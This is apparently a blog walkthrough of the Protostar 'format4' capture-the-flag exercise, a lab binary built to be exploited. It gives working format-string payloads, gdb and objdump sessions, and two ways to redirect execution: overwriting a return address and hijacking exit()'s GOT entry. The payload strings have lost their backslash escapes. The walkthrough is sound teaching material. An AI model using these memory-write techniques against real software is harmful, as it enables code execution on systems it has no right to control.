Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/format4 test test
Exploit
Hint: objdump -TR is your friend
Need to redirect program execution flow.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello() { printf("code execution redirected! you winn"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); }
Looks like we need the program to reach the hello() function.
If we are to use a format string exploit then we most likely need to exploit the printf() call in vuln() and somehow overwrite the return address on the stack after printf is called, such that it points to hello() instead of returning back to vuln().
Let’s find the memory location for the hello() function.
Again we will use objdump -t option. This command will print the the binary’s symbol table. The symbol we want is the reference to the ‘hello’ function and it’s memory location.
user@protostar:~$ objdump -t /opt/protostar/bin/format4 |grep hello 080484b4 g F .text 0000001e hello
There we have it, hello() should be located at memory address 0x080484b4.
Now we need to construct the exploit format string payload.
First step is to figure out which position on the stack the ‘buffer’ variable is stored.
user@protostar:~$ for i in {1..254}; do echo -e "AAAA%$i$p-$i" |/opt/protostar/bin/format4;done |grep 0x41414141 AAAA0x41414141-4
I iterated from 1-254 to find the first part of the string of AAAA and it showed up at 4th position.
I tried to confirm this once more.
user@protostar:~$ echo -e "AAAA%4$p" |/opt/protostar/bin/format4 AAAA0x41414141
Definitely the 4th position.
The payload so far
AAAA%4$p
AAAA = start of the string parameter
%4 = Position on the stack that the ‘string’ (AAAA) variable is stored.
$p = This will print out the contents of the memory location at stack position 4.
All we need to do now is replace the AAAAs with the memory location on the stack where printf() will return program control back to the vuln() after it completes. We know that when printf() is called, the location of the instruction pointer (IP) where program control should return will be popped onto the stack. If we search the stack for that IP then we know the memory location we need to overwrite.
user@protostar:~$ gdb -q /opt/protostar/bin/format4 Reading symbols from /opt/protostar/bin/format4...done. (gdb) b vuln Breakpoint 2 at 0x80484db: file format4/format4.c, line 18. (gdb) r Starting program: /opt/protostar/bin/format4 Breakpoint 2, vuln () at format4/format4.c:18 18 in format4/format4.c (gdb) disassemble Dump of assembler code for function vuln: 0x080484d2 <vuln+0>: push %ebp 0x080484d3 <vuln+1>: mov %esp,%ebp 0x080484d5 <vuln+3>: sub $0x218,%esp 0x080484db <vuln+9>: mov 0x8049730,%eax 0x080484e0 <vuln+14>: mov %eax,0x8(%esp) 0x080484e4 <vuln+18>: movl $0x200,0x4(%esp) 0x080484ec <vuln+26>: lea -0x208(%ebp),%eax 0x080484f2 <vuln+32>: mov %eax,(%esp) 0x080484f5 <vuln+35>: call 0x804839c <fgets@plt> 0x080484fa <vuln+40>: lea -0x208(%ebp),%eax 0x08048500 <vuln+46>: mov %eax,(%esp) 0x08048503 <vuln+49>: call 0x80483cc <printf@plt> 0x08048508 <vuln+54>: movl $0x1,(%esp) 0x0804850f <vuln+61>: call 0x80483ec <exit@plt> End of assembler dump.
We can see that once printf() completes control should return back to 0x08048508.
Let’s step into printf and search the stack for 0x08048508.
(gdb) b *0x08048503 Breakpoint 3 at 0x8048503: file format4/format4.c, line 20. (gdb) stepi 0x080484e0 18 in format4/format4.c (gdb) find $esp, $esp+1000, 0x08048508 0xbffff59c 1 pattern found.
We are going to use the same technique from challenge ‘format3’ to break up the memory writes into two 2 byte writes.
Payload will look something like this
Updated payload x9cxf5xffxbfx9exf5xffxbf%2044u%5$hn%31920u%4$hn
x9cxf5xffxbf = ‘vuln()’ return IP after printf() call in reverse byte order. This is on the stack.
x9exf5xffxbf = two bytes along the stack for the next two byte write reverse byte order
%2044u= This is an additional 2044 bytes to append to the previous 8 bytes (x9cxf5xffxbfx9exf5xffxbf) giving the string a total of 2052(d) = 0x0804 bytes.
%5 = Position on the stack that the ‘buffer’ (x9exf5xffxbf) variable is stored.
$hn = Write the string length (2052 bytes) to the destination address specified by the stack position modifier %5. The extra h to $n means half the size so write to 2 bytes rather than 4 bytes of address.
%31920u = This is an additional 31920u bytes to append to the previous 2052 bytes. Total bytes will be 33972(d) = 0x84b4.
%4 = Position on the stack that the ‘buffer’ (x9cxf5xffxbf) variable is stored.
$hn = Write the string length (33972 bytes) to the destination address specified by the stack position modifier %4.
user@protostar:~$ echo -e "x9cxf5xffxbfx9exf5xffxbf%2044u%5$hn%31920u%4$hn" > format4-output.txt && gdb -q /opt/protostar/bin/format4 Reading symbols from /opt/protostar/bin/format4...done. (gdb) r <format4-output.txt Starting program: /opt/protostar/bin/format4 <format4-output.txt ¦¦¦¦¦¦¦¦ 3086844960 code execution redirected! you win Program exited with code 01.
Thank you
Wait, there’s just one for thing. We could have opted to take a more stable exploit that wouldn’t be affected by changing stack sizes and misalignments. We could have used a trick to hook the GOT (global offset table) and overridden the entry for the exit() function.
If you notice the source code, vuln() has an entry for exit(1) system call right after printf().
To discover where in memory the GOT entry for exit is we could turn to gdb or objdump.
user@protostar:~$ objdump -TR /opt/protostar/bin/format4 |grep exit 00000000 DF *UND* 00000000 GLIBC_2.0 _exit 00000000 DF *UND* 00000000 GLIBC_2.0 exit 08049718 R_386_JUMP_SLOT _exit 08049724 R_386_JUMP_SLOT exit
Looks like we need to overwrite 0x08049724
Let’s rewrite the exploit with this new base address.
user@protostar:~$ echo -e "x24x97x04x08x26x97x04x08%2044u%5$hn%31920u%4$hn" | /opt/protostar/bin/format4 ... code execution redirected! you win
Thank you
Reblogged this on youremindmeofmymother.